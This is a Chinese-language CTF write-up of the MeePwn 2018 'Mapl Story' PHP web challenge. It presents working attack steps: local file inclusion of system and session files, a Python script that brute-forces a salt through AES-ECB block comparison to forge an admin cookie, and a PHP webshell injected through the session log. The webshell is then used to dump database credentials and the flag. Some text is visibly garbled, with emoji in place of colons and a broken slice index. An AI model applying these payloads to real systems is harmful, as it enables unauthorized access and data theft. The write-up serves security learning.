前言

MeePwn CTF 2018 剩下的 Web 题,主要是基于 PHP 的代码审计,考点颇多,恰好是我所不擅长的区域😭

赶紧来复现一下提高姿势水平

Mapl Story

主要考点有 PHP 代码审计能力,以及对 PHP session 的理解,PHP webshell 的利用,和对 AES-128-ECB 的攻击

LFI

访问以下 URL,可以发现这里存在着一个文件包含问题

http://178.128.87.16/?page=/etc/group
root❌0: daemon❌1: bin❌2: sys❌3: adm❌4:syslog tty❌5: disk❌6: lp❌7: mail❌8: news❌9: uucp❌10: man❌12: proxy❌13: kmem❌15: dialout❌20: fax❌21: voice❌22: cdrom❌24: floppy❌25: tape❌26: sudo❌27: audio❌29: dip❌30: www-data❌33: backup❌34: operator❌37: list❌38: irc❌39: src❌40: gnats❌41: shadow❌42: utmp❌43: video❌44: sasl❌45: plugdev❌46: staff❌50: games❌60: users❌100: nogroup❌65534: systemd-journal❌101: systemd-timesync❌102: systemd-network❌103: systemd-resolve❌104: systemd-bus-proxy❌105: input❌106: crontab❌107: syslog❌108: netdev❌109: lxd❌110: messagebus❌111: uuidd❌112: ssh❌113: mlocate❌114: admin❌115: docker❌116: ssl-cert❌117: mysql❌118:

但可以看到由于在 index.php 中存在着相应的过滤:

function bad_words($value)
{
	//My A.I TsuGo show me that when player using these words below they feel angry, so i decide to censor them.
	//Maybe some word is false positive but pls accept it, for a no-cancer gaming environment!
	$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
	$value = preg_replace($too_bad, str_repeat("*",3) ,$value);
	return $value;
}

foreach($_GET as $key=>$value)
{
    if (is_array($value))
    {
    	mapl_die();
    }
	$value=bad_words($value);
	$_GET[$key]=$value;
}

暂时看来操作幅度不大,不过这里存在的意义在于我们可以泄露出相应 session 的信息

已知我们 PHPSESSID 的值为 o2c7bnl64jf2va8edho3ectvb6,那么我们可以尝试通过以下网址访问我们的:

http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_o2c7bnl64jf2va8edho3ectvb6
character_name|s:64:"ecbce3a67b2cc65c58209871a7e43ea5f784018f9d30944e3a1aa542e3c48140";user|s:64:"2e1e63cfe3e8ac1b0292d31d97824c92aff14592cde39c9bf27d7c5ef2a1c872";action|s:28:"[03:53:29pm GMT+7] Logged In";

Admin

尝试访问 admin.php,发现程序提示我们没有相应的 admin 权限,这意味着我们的第一步很可能是先变为 admin

审计代码,可以看到服务器对 admin 的校验是以 Cookie 中的 _role 为依据的

function is_admin($salt){
    if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt)) {
        return 1;
    }
        return 0;
}

只有当 sha256('admin'.$salt) 的值与 Cookie 中 _role 值相等时,服务器会主动将用户识别为 admin

继续审计代码,我们得到的结论是,我们无法通过手动修改 Cookie 外的方式成为 admin,因为服务端会默认将所有人设置成 user:

// login
if ($row['userIsAdmin']==='1'){
    $data='admin'.$salt;
    $role=hash('sha256', $data);
    setcookie('_role',$role);
} else {
    $data='user'.$salt;
    $role=hash('sha256', $data);
    setcookie('_role',$role);					
}
// register
$query = "INSERT INTO users(`userName`, `userEmail`, `userPass`, `userIsAdmin`, `userDesc`, `userAvatar`) VALUES('$name','$email','$password',0,' ','default.png')";

那么我们唯一的思路即通过计算出 $salt 的方式来计算出我们希望的 sha256 值,脚本如下:

import requests
import string

s = requests.Session()

def login():
    payload = {"email": "qwe@eee.com", "pass": "qweqwe", "btn-login": 1}
    return s.post('http://178.128.87.16/index.php?page=login.php', data=payload)

def change_name(name):
    payload = {"name":name}
    return s.post('http://178.128.87.16/index.php?page=setting.php', data=payload)

def get_sha256(text):
    return text[21:85]


def main():
    sess = 'http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_'
    base = 'A'*16
    salt = ''
    guess_range = string.printable

    assert('Game' in login().text)
    
    sess += s.cookies['PHPSESSID']

    print(sess)

    while len(salt) < 16:
        base = base[👎]
        if base == '':
            name = 'A'*16
        else:
            name = base
        change_name(name)
        s1 = get_sha256(s.get(sess).text)
        s1 = s1[:32] if len(name) != 16 else s1[32:64]
        for i in guess_range:
            name = base + salt + i
            change_name(name)
            s2 = get_sha256(s.get(sess).text)[:32]
            if s1 == s2:
                salt += i
                print(salt)
                break
    print(salt)

if __name__ == '__main__':
    main()

核心思路还是 ECB 模式的缺陷,即 ECB 的每一块都是使用完全相同的方式进行界面加解密,所以明文和密文的每一块都是一一对应的,这也给了我们暴力猜解 $salt 的可能性,我们只需要通过枚举的方式,将 $salt 枚举出即可: ms_g00d_0ld_g4m3

计算 sha256('admin'.'ms_g00d_0ld_g4m3') 即能以 admin 的状态登录了~~

webshell

在 admin 状态下,我们多了一个赠送宠物的功能:

Admin

我们可以尝试给自己赠送一个宠物,然后在 character.php 来训练一个宠物:

Character

继续审计 PHP 代码,我们可以知道相应的命令会被存入 /upload/md5($salt.$email)/command.txt 中:

if(isset($_POST['command']) && !empty($_POST['command'])){
    if(strlen($_POST['command'])>=20) {
        echo '<center><strong>Too Long</strong></center>';
    }
    else {
        save_command($mail,$salt,$_POST['command']);
        header("Refresh:0");
    }
}

function save_command($email,$salt,$data){
    $dir='./upload/'.md5($salt.$email);
    file_put_contents($dir.'/command.txt', $data);
}

那么我们可不可以直接在这里写入 webshell 呢?再利用 LFI 加载该文件以达成 webshell 效果,但事实是这条尝试是失败的😭

那么剩下的思路是再从新的地方尝试导入我们编写的 webshell

这里的思路就比较 trick 了(向大佬低头

我们可以看到 session 的 log 中存在一个记录用户操作的 action,所以我们可以尝试向 <?=include"$_COOKIE[0] 用户赠送宠物,这样当我们修改 cookie 时,相应的文件即可被加载进来

此时我们需要进行如下三个操作:

  1. 修改 command.txt 内容,使其值为
PD89YCRFR0VUWZFDYDS`(<?=`$_GET[1]`)
  1. 注册用户名为 <?=include"$_COOKIE[0],并向其赠送宠物
  2. 修改 cookie 加入 {0: php://filter/convert.base64-decode/resource=/upload/64aed470d7164b1fdf381db0cd82ebd7/command.txt}
  3. 访问 http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_o2c7bnl64jf2va8edho3ectvb6?1=ls

此时我们已经拿到了一个最基本的 webshell,构造 payload,我们即能得到 dbconnect.php 相对应的源代码:

http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_o2c7bnl64jf2va8edho3ectvb6&1=cat%20dbconnect.php
 <?php
	define('DBHOST', 'localhost');
	define('DBUSER', 'mapl_story_user');
	define('DBPASS', 'tsu_tsu_tsu_tsu'); 
	define('DBNAME', 'mapl_story');
	
	$conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
		
	if ( !$conn ) {
		die("Connection failed : " . mysql_error());
    }
?>

此时我们已经拿到了数据库的账号密码,以及相应的数据库名,那么只要在数据库中运行 SELECT * FROM mapl_config,即能获得相应的 flag

我们需要实现以下两步:

  1. 连接数据库:mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
  2. 查询 flag:SELECT * FROM mapl_config;

那么写成 payload 即可以如下形式:echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story

运行 payload,即可获得 flag:MeePwnCTF{Abus1ng_SessioN_Is_AlwAys_C00L_1337!_}

参考链接